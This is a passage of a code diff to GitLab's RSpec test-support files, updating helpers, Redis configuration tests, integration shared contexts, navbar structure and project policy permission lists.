+ stub_const('Gitlab::GlobalId::Deprecations::OLD_NAME_MAP', old_name_map)
+ stub_const('Gitlab::GlobalId::Deprecations::NEW_NAME_MAP', new_name_map)
+ stub_const('Gitlab::GlobalId::Deprecations::OLD_GRAPHQL_NAME_MAP', old_graphql_name_map)
+ end
+end
diff --git a/spec/support/helpers/graphql_helpers.rb b/spec/support/helpers/graphql_helpers.rb
index 5dc6945ec5e..4857fa63114 100644
--- a/spec/support/helpers/graphql_helpers.rb
+++ b/spec/support/helpers/graphql_helpers.rb
@@ -1,6 +1,10 @@
# frozen_string_literal: true
module GraphqlHelpers
+ def self.included(base)
+ base.include(::Gitlab::Graphql::Laziness)
+ end
+
MutationDefinition = Struct.new(:query, :variables)
NoData = Class.new(StandardError)
diff --git a/spec/support/helpers/javascript_fixtures_helpers.rb b/spec/support/helpers/javascript_fixtures_helpers.rb
index 28375c1d51e..8fd8a548011 100644
--- a/spec/support/helpers/javascript_fixtures_helpers.rb
+++ b/spec/support/helpers/javascript_fixtures_helpers.rb
@@ -66,6 +66,14 @@ module JavaScriptFixturesHelpers
File.write(full_fixture_path, fixture)
end
+ def parse_html(fixture)
+ if respond_to?(:use_full_html) && public_send(:use_full_html)
+ Nokogiri::HTML::Document.parse(fixture)
+ else
+ Nokogiri::HTML::DocumentFragment.parse(fixture)
+ end
+ end
+
# Private: Prepare a response object for use as a frontend fixture
#
# response - response object to prepare
@@ -76,7 +84,7 @@ module JavaScriptFixturesHelpers
response_mime_type = Mime::Type.lookup(response.media_type)
if response_mime_type.html?
- doc = Nokogiri::HTML::DocumentFragment.parse(fixture)
+ doc = parse_html(fixture)
link_tags = doc.css('link')
link_tags.remove
diff --git a/spec/support/helpers/login_helpers.rb b/spec/support/helpers/login_helpers.rb
index fc3eb976276..cc88a3fc71e 100644
--- a/spec/support/helpers/login_helpers.rb
+++ b/spec/support/helpers/login_helpers.rb
@@ -77,7 +77,11 @@ module LoginHelpers
# Requires Javascript driver.
def gitlab_disable_admin_mode
- click_on 'Leave Admin Mode'
+ open_top_nav
+
+ within_top_nav do
+ click_on 'Leave Admin Mode'
+ end
end
private
diff --git a/spec/support/helpers/query_recorder.rb b/spec/support/helpers/query_recorder.rb
index 05afbc336da..d18a1d23584 100644
--- a/spec/support/helpers/query_recorder.rb
+++ b/spec/support/helpers/query_recorder.rb
@@ -2,15 +2,16 @@
module ActiveRecord
class QueryRecorder
- attr_reader :log, :skip_cached, :cached, :data
+ attr_reader :log, :skip_cached, :skip_schema_queries, :cached, :data
UNKNOWN = %w[unknown unknown].freeze
- def initialize(skip_cached: true, log_file: nil, query_recorder_debug: false, &block)
+ def initialize(skip_cached: true, skip_schema_queries: true, log_file: nil, query_recorder_debug: false, &block)
@data = Hash.new { |h, k| h[k] = { count: 0, occurrences: [], backtrace: [], durations: [] } }
@log = []
@cached = []
@skip_cached = skip_cached
+ @skip_schema_queries = skip_schema_queries
@query_recorder_debug = ENV['QUERY_RECORDER_DEBUG'] || query_recorder_debug
@log_file = log_file
record(&block) if block_given?
@@ -79,7 +80,7 @@ module ActiveRecord
if values[:cached] && skip_cached
@cached << values[:sql]
- elsif !values[:name]&.include?("SCHEMA")
+ elsif !skip_schema_queries || !values[:name]&.include?("SCHEMA")
backtrace = @query_recorder_debug ? show_backtrace(values, duration) : nil
@log << values[:sql]
store_sql_by_source(values: values, duration: duration, backtrace: backtrace)
diff --git a/spec/support/helpers/rake_helpers.rb b/spec/support/helpers/rake_helpers.rb
index d8f354a69da..4c0fa9d1b0b 100644
--- a/spec/support/helpers/rake_helpers.rb
+++ b/spec/support/helpers/rake_helpers.rb
@@ -10,11 +10,6 @@ module RakeHelpers
allow(main_object).to receive(:warn_user_is_not_gitlab)
end
- def silence_output
- allow(main_object).to receive(:puts)
- allow(main_object).to receive(:print)
- end
-
def silence_progress_bar
allow_any_instance_of(ProgressBar::Output).to receive(:stream).and_return(double.as_null_object)
end
diff --git a/spec/support/helpers/reference_parser_helpers.rb b/spec/support/helpers/reference_parser_helpers.rb
index e65cb8c96db..a6a7948d9d9 100644
--- a/spec/support/helpers/reference_parser_helpers.rb
+++ b/spec/support/helpers/reference_parser_helpers.rb
@@ -11,20 +11,20 @@ module ReferenceParserHelpers
end
RSpec.shared_examples 'no project N+1 queries' do
- it 'avoids N+1 queries in #nodes_visible_to_user', :request_store do
+ it 'avoids N+1 queries in #nodes_visible_to_user' do
context = Banzai::RenderContext.new(project, user)
- record_queries = lambda do |links|
- ActiveRecord::QueryRecorder.new do
- described_class.new(context).nodes_visible_to_user(user, links)
- end
+ request = lambda do |links|
+ described_class.new(context).nodes_visible_to_user(user, links)
end
- control = record_queries.call(control_links)
- actual = record_queries.call(actual_links)
+ control = ActiveRecord::QueryRecorder.new { request.call(control_links) }
- expect(actual.count).to be <= control.count
- expect(actual.cached_count).to be <= control.cached_count
+ create(:group_member, group: project.group) if project.group
+ create(:project_member, project: project)
+ create(:project_group_link, project: project)
+
+ expect { request.call(actual_links) }.not_to exceed_query_limit(control)
end
end
diff --git a/spec/support/helpers/usage_data_helpers.rb b/spec/support/helpers/usage_data_helpers.rb
index c6176b5bcbc..b1a9aade043 100644
--- a/spec/support/helpers/usage_data_helpers.rb
+++ b/spec/support/helpers/usage_data_helpers.rb
@@ -99,7 +99,6 @@ module UsageDataHelpers
projects_with_repositories_enabled
projects_with_error_tracking_enabled
projects_with_enabled_alert_integrations
- projects_with_prometheus_alerts
projects_with_tracing_enabled
projects_with_expiration_policy_enabled
projects_with_expiration_policy_disabled
@@ -163,7 +162,6 @@ module UsageDataHelpers
database
prometheus_metrics_enabled
web_ide_clientside_preview_enabled
- ingress_modsecurity_enabled
object_store
topology
).freeze
diff --git a/spec/support/import_export/common_util.rb b/spec/support/import_export/common_util.rb
index a6b395ad4d5..5fb6af99b79 100644
--- a/spec/support/import_export/common_util.rb
+++ b/spec/support/import_export/common_util.rb
@@ -20,11 +20,11 @@ module ImportExport
def setup_reader(reader)
if reader == :ndjson_reader && Feature.enabled?(:project_import_ndjson, default_enabled: true)
- allow_any_instance_of(Gitlab::ImportExport::JSON::LegacyReader::File).to receive(:exist?).and_return(false)
- allow_any_instance_of(Gitlab::ImportExport::JSON::NdjsonReader).to receive(:exist?).and_return(true)
+ allow_any_instance_of(Gitlab::ImportExport::Json::LegacyReader::File).to receive(:exist?).and_return(false)
+ allow_any_instance_of(Gitlab::ImportExport::Json::NdjsonReader).to receive(:exist?).and_return(true)
else
- allow_any_instance_of(Gitlab::ImportExport::JSON::LegacyReader::File).to receive(:exist?).and_return(true)
- allow_any_instance_of(Gitlab::ImportExport::JSON::NdjsonReader).to receive(:exist?).and_return(false)
+ allow_any_instance_of(Gitlab::ImportExport::Json::LegacyReader::File).to receive(:exist?).and_return(true)
+ allow_any_instance_of(Gitlab::ImportExport::Json::NdjsonReader).to receive(:exist?).and_return(false)
end
end
diff --git a/spec/support/matchers/be_one_of.rb b/spec/support/matchers/be_one_of.rb
new file mode 100644
index 00000000000..16ee32b67c3
--- /dev/null
+++ b/spec/support/matchers/be_one_of.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+RSpec::Matchers.define :be_one_of do |collection|
+ match do |item|
+ expect(collection).to include(item)
+ end
+
+ failure_message do |item|
+ "expected #{item} to be one of #{collection}"
+ end
+end
diff --git a/spec/support/redis.rb b/spec/support/redis.rb
index 8539f202602..eeeb93fa811 100644
--- a/spec/support/redis.rb
+++ b/spec/support/redis.rb
@@ -30,4 +30,12 @@ RSpec.configure do |config|
redis_queues_cleanup!
end
+
+ config.around(:each, :clean_gitlab_redis_trace_chunks) do |example|
+ redis_trace_chunks_cleanup!
+
+ example.run
+
+ redis_trace_chunks_cleanup!
+ end
end
diff --git a/spec/support/redis/redis_helpers.rb b/spec/support/redis/redis_helpers.rb
index 7c571738a01..b8118bf94cc 100644
--- a/spec/support/redis/redis_helpers.rb
+++ b/spec/support/redis/redis_helpers.rb
@@ -17,4 +17,9 @@ module RedisHelpers
def redis_shared_state_cleanup!
Gitlab::Redis::SharedState.with(&:flushall)
end
+
+ # Usage: CI trace chunks
+ def redis_trace_chunks_cleanup!
+ Gitlab::Redis::TraceChunks.with(&:flushall)
+ end
end
diff --git a/spec/support/redis/redis_shared_examples.rb b/spec/support/redis/redis_shared_examples.rb
index f5f6a69738b..25eab5fd6e4 100644
--- a/spec/support/redis/redis_shared_examples.rb
+++ b/spec/support/redis/redis_shared_examples.rb
@@ -4,9 +4,22 @@ RSpec.shared_examples "redis_shared_examples" do
include StubENV
let(:test_redis_url) { "redis://redishost:#{redis_port}"}
+ let(:config_file_name) { instance_specific_config_file }
+ let(:config_old_format_socket) { "spec/fixtures/config/redis_old_format_socket.yml" }
+ let(:config_new_format_socket) { "spec/fixtures/config/redis_new_format_socket.yml" }
+ let(:old_socket_path) {"/path/to/old/redis.sock" }
+ let(:new_socket_path) {"/path/to/redis.sock" }
+ let(:config_old_format_host) { "spec/fixtures/config/redis_old_format_host.yml" }
+ let(:config_new_format_host) { "spec/fixtures/config/redis_new_format_host.yml" }
+ let(:redis_port) { 6379 }
+ let(:redis_database) { 99 }
+ let(:sentinel_port) { 26379 }
+ let(:config_with_environment_variable_inside) { "spec/fixtures/config/redis_config_with_env.yml"}
+ let(:config_env_variable_url) {"TEST_GITLAB_REDIS_URL"}
+ let(:rails_root) { Dir.mktmpdir('redis_shared_examples') }
before do
- stub_env(environment_config_file_name, Rails.root.join(config_file_name))
+ allow(described_class).to receive(:config_file_name).and_return(Rails.root.join(config_file_name).to_s)
clear_raw_config
end
@@ -14,8 +27,71 @@ RSpec.shared_examples "redis_shared_examples" do
clear_raw_config
end
+ describe '.config_file_name' do
+ subject { described_class.config_file_name }
+
+ before do
+ # Undo top-level stub of config_file_name because we are testing that method now.
+ allow(described_class).to receive(:config_file_name).and_call_original
+
+ allow(described_class).to receive(:rails_root).and_return(rails_root)
+ FileUtils.mkdir_p(File.join(rails_root, 'config'))
+ end
+
+ after do
+ FileUtils.rm_rf(rails_root)
+ end
+
+ context 'when there is no config file anywhere' do
+ it { expect(subject).to be_nil }
+
+ context 'but resque.yml exists' do
+ before do
+ FileUtils.touch(File.join(rails_root, 'config', 'resque.yml'))
+ end
+
+ it { expect(subject).to eq("#{rails_root}/config/resque.yml") }
+
+ it 'returns a path that exists' do
+ expect(File.file?(subject)).to eq(true)
+ end
+
+ context 'and there is a global env override' do
+ before do
+ stub_env('GITLAB_REDIS_CONFIG_FILE', 'global override')
+ end
+
+ it { expect(subject).to eq('global override') }
+
+ context 'and there is an instance specific config file' do
+ before do
+ FileUtils.touch(File.join(rails_root, instance_specific_config_file))
+ end
+
+ it { expect(subject).to eq("#{rails_root}/#{instance_specific_config_file}") }
+
+ it 'returns a path that exists' do
+ expect(File.file?(subject)).to eq(true)
+ end
+
+ context 'and there is a specific env override' do
+ before do
+ stub_env(environment_config_file_name, 'instance specific override')
+ end
+
+ it { expect(subject).to eq('instance specific override') }
+ end
+ end
+ end
+ end
+ end
+ end
+
describe '.params' do
- subject { described_class.params }
+ subject { described_class.new(rails_env).params }
+
+ let(:rails_env) { 'development' }
+ let(:config_file_name) { config_old_format_socket }
it 'withstands mutation' do
params1 = described_class.params
@@ -58,15 +134,27 @@ RSpec.shared_examples "redis_shared_examples" do
context 'with new format' do
let(:config_file_name) { config_new_format_host }
- it 'returns hash with host, port, db, and password' do
- is_expected.to include(host: 'localhost', password: 'mynewpassword', port: redis_port, db: redis_database)
- is_expected.not_to have_key(:url)
+ where(:rails_env, :host) do
+ [
+ %w[development development-host],
+ %w[test test-host],
+ %w[production production-host]
+ ]
+ end
+
+ with_them do
+ it 'returns hash with host, port, db, and password' do
+ is_expected.to include(host: host, password: 'mynewpassword', port: redis_port, db: redis_database)
+ is_expected.not_to have_key(:url)
+ end
end
end
end
end
describe '.url' do
+ let(:config_file_name) { config_old_format_socket }
+
it 'withstands mutation' do
url1 = described_class.url
url2 = described_class.url
@@ -88,6 +176,12 @@ RSpec.shared_examples "redis_shared_examples" do
end
end
+ describe '.version' do
+ it 'returns a version' do
+ expect(described_class.version).to be_present
+ end
+ end
+
describe '._raw_config' do
subject { described_class._raw_config }
@@ -109,6 +203,8 @@ RSpec.shared_examples "redis_shared_examples" do
end
describe '.with' do
+ let(:config_file_name) { config_old_format_socket }
+
before do
clear_pool
end
@@ -140,17 +236,46 @@ RSpec.shared_examples "redis_shared_examples" do
described_class.with { |_redis_shared_example| true }
end
end
+
+ context 'when there is no config at all' do
+ before do
+ # Undo top-level stub of config_file_name because we are testing that method now.
+ allow(described_class).to receive(:config_file_name).and_call_original
+
+ allow(described_class).to receive(:rails_root).and_return(rails_root)
+ end
+
+ after do
+ FileUtils.rm_rf(rails_root)
+ end
+
+ it 'can run an empty block' do
+ expect { described_class.with { nil } }.not_to raise_error
+ end
+ end
end
describe '#sentinels' do
- subject { described_class.new(Rails.env).sentinels }
+ subject { described_class.new(rails_env).sentinels }
+
+ let(:rails_env) { 'development' }
context 'when sentinels are defined' do
let(:config_file_name) { config_new_format_host }
- it 'returns an array of hashes with host and port keys' do
- is_expected.to include(host: 'localhost', port: sentinel_port)
- is_expected.to include(host: 'replica2', port: sentinel_port)
+ where(:rails_env, :hosts) do
+ [
+ ['development', %w[development-replica1 development-replica2]],
+ ['test', %w[test-replica1 test-replica2]],
+ ['production', %w[production-replica1 production-replica2]]
+ ]
+ end
+
+ with_them do
+ it 'returns an array of hashes with host and port keys' do
+ is_expected.to include(host: hosts[0], port: sentinel_port)
+ is_expected.to include(host: hosts[1], port: sentinel_port)
+ end
end
end
@@ -184,12 +309,6 @@ RSpec.shared_examples "redis_shared_examples" do
end
describe '#raw_config_hash' do
- it 'returns default redis url when no config file is present' do
- expect(subject).to receive(:fetch_config) { false }
-
- expect(subject.send(:raw_config_hash)).to eq(url: class_redis_url )
- end
-
it 'returns old-style single url config in a hash' do
expect(subject).to receive(:fetch_config) { test_redis_url }
expect(subject.send(:raw_config_hash)).to eq(url: test_redis_url)
diff --git a/spec/support/shared_contexts/change_access_checks_shared_context.rb b/spec/support/shared_contexts/change_access_checks_shared_context.rb
deleted file mode 100644
index 4c55990c901..00000000000
--- a/spec/support/shared_contexts/change_access_checks_shared_context.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_context 'change access checks context' do
- let(:user) { create(:user) }
- let(:project) { create(:project, :repository) }
- let(:user_access) { Gitlab::UserAccess.new(user, container: project) }
- let(:oldrev) { 'be93687618e4b132087f430a4d8fc3a609c9b77c' }
- let(:newrev) { '54fcc214b94e78d7a41a9a8fe6d87a5e59500e51' }
- let(:ref) { 'refs/heads/master' }
- let(:changes) { { oldrev: oldrev, newrev: newrev, ref: ref } }
- let(:protocol) { 'ssh' }
- let(:timeout) { Gitlab::GitAccess::INTERNAL_TIMEOUT }
- let(:logger) { Gitlab::Checks::TimedLogger.new(timeout: timeout) }
- let(:change_access) do
- Gitlab::Checks::ChangeAccess.new(
- changes,
- project: project,
- user_access: user_access,
- protocol: protocol,
- logger: logger
- )
- end
-
- subject { described_class.new(change_access) }
-
- before do
- project.add_developer(user)
- end
-end
diff --git a/spec/support/shared_contexts/changes_access_checks_shared_context.rb b/spec/support/shared_contexts/changes_access_checks_shared_context.rb
new file mode 100644
index 00000000000..ec3727b6d6c
--- /dev/null
+++ b/spec/support/shared_contexts/changes_access_checks_shared_context.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'changes access checks context' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :repository) }
+
+ let(:user_access) { Gitlab::UserAccess.new(user, container: project) }
+ let(:protocol) { 'ssh' }
+ let(:timeout) { Gitlab::GitAccess::INTERNAL_TIMEOUT }
+ let(:oldrev) { 'be93687618e4b132087f430a4d8fc3a609c9b77c' }
+ let(:newrev) { '54fcc214b94e78d7a41a9a8fe6d87a5e59500e51' }
+ let(:ref) { 'refs/heads/master' }
+ let(:changes) do
+ [
+ # Update of existing branch
+ { oldrev: oldrev, newrev: newrev, ref: ref },
+ # Creation of new branch
+ { newrev: newrev, ref: 'refs/heads/something' },
+ # Deletion of branch
+ { oldrev: oldrev, ref: 'refs/heads/deleteme' }
+ ]
+ end
+
+ let(:logger) { Gitlab::Checks::TimedLogger.new(timeout: timeout) }
+ let(:changes_access) do
+ Gitlab::Checks::ChangesAccess.new(
+ changes,
+ project: project,
+ user_access: user_access,
+ protocol: protocol,
+ logger: logger
+ )
+ end
+
+ subject { described_class.new(changes_access) }
+
+ before do
+ project.add_developer(user)
+ end
+end
diff --git a/spec/support/shared_contexts/features/integrations/group_integrations_shared_context.rb b/spec/support/shared_contexts/features/integrations/group_integrations_shared_context.rb
new file mode 100644
index 00000000000..5996fcc6593
--- /dev/null
+++ b/spec/support/shared_contexts/features/integrations/group_integrations_shared_context.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'group integration activation' do
+ include_context 'instance and group integration activation'
+
+ let_it_be(:group) { create(:group) }
+ let_it_be(:user) { create(:user) }
+
+ before_all do
+ group.add_owner(user)
+ end
+
+ before do
+ sign_in(user)
+ end
+
+ def visit_group_integrations
+ visit group_settings_integrations_path(group)
+ end
+
+ def visit_group_integration(name)
+ visit_group_integrations
+
+ within('#content-body') do
+ click_link(name)
+ end
+ end
+end
diff --git a/spec/support/shared_contexts/features/integrations/instance_and_group_integrations_shared_context.rb b/spec/support/shared_contexts/features/integrations/instance_and_group_integrations_shared_context.rb
new file mode 100644
index 00000000000..58ee341f71f
--- /dev/null
+++ b/spec/support/shared_contexts/features/integrations/instance_and_group_integrations_shared_context.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'instance and group integration activation' do
+ include_context 'integration activation'
+
+ def click_save_integration
+ click_save_changes_button
+ click_save_settings_modal
+ end
+
+ def click_save_changes_button
+ click_button('Save changes')
+ end
+
+ def click_save_settings_modal
+ click_button('Save')
+ end
+end
diff --git a/spec/support/shared_contexts/features/integrations/instance_integrations_shared_context.rb b/spec/support/shared_contexts/features/integrations/instance_integrations_shared_context.rb
new file mode 100644
index 00000000000..3b02db994a3
--- /dev/null
+++ b/spec/support/shared_contexts/features/integrations/instance_integrations_shared_context.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'instance integration activation' do
+ include_context 'instance and group integration activation'
+
+ let_it_be(:user) { create(:user, :admin) }
+
+ before do
+ sign_in(user)
+ gitlab_enable_admin_mode_sign_in(user)
+ end
+
+ def visit_instance_integrations
+ visit integrations_admin_application_settings_path
+ end
+
+ def visit_instance_integration(name)
+ visit_instance_integrations
+
+ within('#content-body') do
+ click_link(name)
+ end
+ end
+end
diff --git a/spec/support/shared_contexts/features/integrations/integrations_shared_context.rb b/spec/support/shared_contexts/features/integrations/integrations_shared_context.rb
new file mode 100644
index 00000000000..e532b42fd1c
--- /dev/null
+++ b/spec/support/shared_contexts/features/integrations/integrations_shared_context.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+Integration.available_services_names.each do |service|
+ RSpec.shared_context service do
+ include JiraServiceHelper if service == 'jira'
+
+ let(:dashed_service) { service.dasherize }
+ let(:service_method) { Project.integration_association_name(service) }
+ let(:service_klass) { Integration.integration_name_to_model(service) }
+ let(:service_instance) { service_klass.new }
+ let(:service_fields) { service_instance.fields }
+ let(:service_attrs_list) { service_fields.inject([]) {|arr, hash| arr << hash[:name].to_sym } }
+ let(:service_attrs) do
+ service_attrs_list.inject({}) do |hash, k|
+ if k =~ /^(token*|.*_token|.*_key)/
+ hash.merge!(k => 'secrettoken')
+ elsif service == 'confluence' && k == :confluence_url
+ hash.merge!(k => 'https://example.atlassian.net/wiki')
+ elsif service == 'datadog' && k == :datadog_site
+ hash.merge!(k => 'datadoghq.com')
+ elsif k =~ /^(.*_url|url|webhook)/
+ hash.merge!(k => "http://example.com")
+ elsif service_klass.method_defined?("#{k}?")
+ hash.merge!(k => true)
+ elsif service == 'irker' && k == :recipients
+ hash.merge!(k => 'irc://irc.network.net:666/#channel')
+ elsif service == 'irker' && k == :server_port
+ hash.merge!(k => 1234)
+ elsif service == 'jira' && k == :jira_issue_transition_id
+ hash.merge!(k => '1,2,3')
+ elsif service == 'emails_on_push' && k == :recipients
+ hash.merge!(k => 'foo@bar.com')
+ elsif service == 'slack' || service == 'mattermost' && k == :labels_to_be_notified_behavior
+ hash.merge!(k => "match_any")
+ else
+ hash.merge!(k => "someword")
+ end
+ end
+ end
+
+ let(:licensed_features) do
+ {
+ 'github' => :github_project_service_integration
+ }
+ end
+
+ before do
+ enable_license_for_service(service)
+ stub_jira_service_test if service == 'jira'
+ end
+
+ def initialize_service(service, attrs = {})
+ service_item = project.find_or_initialize_service(service)
+ service_item.attributes = attrs
+ service_item.properties = service_attrs
+ service_item.save!
+ service_item
+ end
+
+ private
+
+ def enable_license_for_service(service)
+ return unless respond_to?(:stub_licensed_features)
+
+ licensed_feature = licensed_features[service]
+ return unless licensed_feature
+
+ stub_licensed_features(licensed_feature => true)
+ project.clear_memoization(:disabled_services)
+ end
+ end
+end
+
+RSpec.shared_context 'integration activation' do
+ def click_active_checkbox
+ find('label', text: 'Active').click
+ end
+end
diff --git a/spec/support/shared_contexts/project_service_jira_context.rb b/spec/support/shared_contexts/features/integrations/project_integrations_jira_context.rb
index 54bb9fd108e..54bb9fd108e 100644
--- a/spec/support/shared_contexts/project_service_jira_context.rb
+++ b/spec/support/shared_contexts/features/integrations/project_integrations_jira_context.rb
diff --git a/spec/support/shared_contexts/features/integrations/project_integrations_shared_context.rb b/spec/support/shared_contexts/features/integrations/project_integrations_shared_context.rb
new file mode 100644
index 00000000000..b10844320d0
--- /dev/null
+++ b/spec/support/shared_contexts/features/integrations/project_integrations_shared_context.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'project service activation' do
+ include_context 'integration activation'
+
+ let(:project) { create(:project) }
+ let(:user) { create(:user) }
+
+ before do
+ project.add_maintainer(user)
+ sign_in(user)
+ end
+
+ def visit_project_integrations
+ visit project_settings_integrations_path(project)
+ end
+
+ def visit_project_integration(name)
+ visit_project_integrations
+
+ within('#content-body') do
+ click_link(name)
+ end
+ end
+
+ def click_save_integration
+ click_button('Save changes')
+ end
+
+ def click_test_integration
+ click_link('Test settings')
+ end
+
+ def click_test_then_save_integration(expect_test_to_fail: true)
+ click_test_integration
+
+ if expect_test_to_fail
+ expect(page).to have_content('Connection failed.')
+ else
+ expect(page).to have_content('Connection successful.')
+ end
+
+ click_save_integration
+ end
+end
diff --git a/spec/support/shared_contexts/graphql/requests/packages_shared_context.rb b/spec/support/shared_contexts/graphql/requests/packages_shared_context.rb
new file mode 100644
index 00000000000..334b11c9f6e
--- /dev/null
+++ b/spec/support/shared_contexts/graphql/requests/packages_shared_context.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'package details setup' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:package) { create(:package, project: project) }
+
+ let(:package_global_id) { global_id_of(package) }
+
+ let(:depth) { 3 }
+ let(:excluded) { %w[metadata apiFuzzingCiConfiguration pipeline packageFiles] }
+ let(:package_files) { all_graphql_fields_for('PackageFile') }
+ let(:user) { project.owner }
+ let(:package_details) { graphql_data_at(:package) }
+ let(:metadata_response) { graphql_data_at(:package, :metadata) }
+ let(:first_file) { package.package_files.find { |f| global_id_of(f) == first_file_response['id'] } }
+ let(:package_files_response) { graphql_data_at(:package, :package_files, :nodes) }
+ let(:first_file_response) { graphql_data_at(:package, :package_files, :nodes, 0)}
+ let(:first_file_response_metadata) { graphql_data_at(:package, :package_files, :nodes, 0, :file_metadata)}
+
+ let(:query) do
+ graphql_query_for(:package, { id: package_global_id }, <<~FIELDS)
+ #{all_graphql_fields_for('PackageDetailsType', max_depth: depth, excluded: excluded)}
+ metadata {
+ #{metadata}
+ }
+ packageFiles {
+ nodes {
+ #{package_files}
+ }
+ }
+ FIELDS
+ end
+end
diff --git a/spec/support/shared_contexts/load_balancing_configuration_shared_context.rb b/spec/support/shared_contexts/load_balancing_configuration_shared_context.rb
new file mode 100644
index 00000000000..a61b8e9a074
--- /dev/null
+++ b/spec/support/shared_contexts/load_balancing_configuration_shared_context.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'clear DB Load Balancing configuration' do
+ def clear_load_balancing_configuration
+ proxy = ::Gitlab::Database::LoadBalancing.instance_variable_get(:@proxy)
+ proxy.load_balancer.release_host if proxy
+ ::Gitlab::Database::LoadBalancing.instance_variable_set(:@proxy, nil)
+
+ ::Gitlab::Database::LoadBalancing::Session.clear_session
+ end
+
+ around do |example|
+ clear_load_balancing_configuration
+
+ example.run
+
+ clear_load_balancing_configuration
+ end
+end
diff --git a/spec/support/shared_contexts/navbar_structure_context.rb b/spec/support/shared_contexts/navbar_structure_context.rb
index 4f8e88ae9da..c00b7203af6 100644
--- a/spec/support/shared_contexts/navbar_structure_context.rb
+++ b/spec/support/shared_contexts/navbar_structure_context.rb
@@ -18,8 +18,8 @@ RSpec.shared_context 'project navbar structure' do
{
nav_item: _('Security & Compliance'),
nav_sub_items: [
- _('Configuration'),
- (_('Audit Events') if Gitlab.ee?)
+ (_('Audit Events') if Gitlab.ee?),
+ _('Configuration')
]
}
end
@@ -71,8 +71,16 @@ RSpec.shared_context 'project navbar structure' do
]
end
+ let(:project_context_nav_item) do
+ {
+ nav_item: "#{project.name[0, 1].upcase} #{project.name}",
+ nav_sub_items: []
+ }
+ end
+
let(:structure) do
[
+ project_context_nav_item,
project_information_nav_item,
{
nav_item: _('Repository'),
@@ -200,8 +208,16 @@ RSpec.shared_context 'group navbar structure' do
]
end
+ let(:group_context_nav_item) do
+ {
+ nav_item: "#{group.name[0, 1].upcase} #{group.name}",
+ nav_sub_items: []
+ }
+ end
+
let(:structure) do
[
+ group_context_nav_item,
group_information_nav_item,
{
nav_item: _('Issues'),
diff --git a/spec/support/shared_contexts/policies/project_policy_shared_context.rb b/spec/support/shared_contexts/policies/project_policy_shared_context.rb
index 35dc709b5d9..d638ffcf8fa 100644
--- a/spec/support/shared_contexts/policies/project_policy_shared_context.rb
+++ b/spec/support/shared_contexts/policies/project_policy_shared_context.rb
@@ -26,7 +26,7 @@ RSpec.shared_context 'ProjectPolicy context' do
let(:base_reporter_permissions) do
%i[
admin_issue admin_issue_link admin_label admin_issue_board_list create_snippet
- download_code download_wiki_code fork_project metrics_dashboard
+ daily_statistics download_code download_wiki_code fork_project metrics_dashboard
read_build read_commit_status read_confidential_issues
read_container_image read_deployment read_environment read_merge_request
read_metrics_dashboard_annotation read_pipeline read_prometheus
@@ -44,7 +44,7 @@ RSpec.shared_context 'ProjectPolicy context' do
create_commit_status create_container_image create_deployment
create_environment create_merge_request_from
create_metrics_dashboard_annotation create_pipeline create_release
- create_wiki daily_statistics delete_metrics_dashboard_annotation
+ create_wiki delete_metrics_dashboard_annotation
destroy_container_image push_code read_pod_logs read_terraform_state
resolve_note update_build update_commit_status update_container_image
update_deployment update_environment update_merge_request
diff --git a/spec/support/shared_contexts/project_service_shared_context.rb b/spec/support/shared_contexts/project_service_shared_context.rb
deleted file mode 100644
index 0e3540a3e15..00000000000
--- a/spec/support/shared_contexts/project_service_shared_context.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_context 'project service activation' do
- let(:project) { create(:project) }
- let(:user) { create(:user) }
-
- before do
- project.add_maintainer(user)
- sign_in(user)
- end
-
- def visit_project_integrations
- visit project_settings_integrations_path(project)
- end
-
- def visit_project_integration(name)
- visit_project_integrations
-
- within('#content-body') do
- click_link(name)
- end
- end
-
- def click_active_checkbox
- find('label', text: 'Active').click
- end
-
- def click_save_integration
- click_button('Save changes')
- end
-
- def click_test_integration
- click_link('Test settings')
- end
-
- def click_test_then_save_integration(expect_test_to_fail: true)
- click_test_integration
-
- if expect_test_to_fail
- expect(page).to have_content('Connection failed.')
- else
- expect(page).to have_content('Connection successful.')
- end
-
- click_save_integration
- end
-end
diff --git a/spec/support/shared_contexts/read_ci_configuration_shared_context.rb b/spec/support/shared_contexts/read_ci_configuration_shared_context.rb
index 04c50171766..f5d70d5ef5a 100644
--- a/spec/support/shared_contexts/read_ci_configuration_shared_context.rb
+++ b/spec/support/shared_contexts/read_ci_configuration_shared_context.rb
@@ -5,10 +5,6 @@ RSpec.shared_context 'read ci configuration for sast enabled project' do
File.read(Rails.root.join('spec/support/gitlab_stubs/gitlab_ci_for_sast.yml'))
end
- let_it_be(:gitlab_ci_yml_default_analyzers_content) do
- File.read(Rails.root.join('spec/support/gitlab_stubs/gitlab_ci_for_sast_default_analyzers.yml'))
- end
-
let_it_be(:gitlab_ci_yml_excluded_analyzers_content) do
File.read(Rails.root.join('spec/support/gitlab_stubs/gitlab_ci_for_sast_excluded_analyzers.yml'))
end
diff --git a/spec/support/shared_contexts/requests/api/conan_packages_shared_context.rb b/spec/support/shared_contexts/requests/api/conan_packages_shared_context.rb
index ac53be1a1cb..c69a987c00d 100644
--- a/spec/support/shared_contexts/requests/api/conan_packages_shared_context.rb
+++ b/spec/support/shared_contexts/requests/api/conan_packages_shared_context.rb
@@ -8,11 +8,11 @@ RSpec.shared_context 'conan api setup' do
let_it_be(:personal_access_token) { create(:personal_access_token) }
let_it_be(:user) { personal_access_token.user }
let_it_be(:base_secret) { SecureRandom.base64(64) }
- let_it_be(:job) { create(:ci_build, :running, user: user) }
- let_it_be(:job_token) { job.token }
let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
let(:project) { package.project }
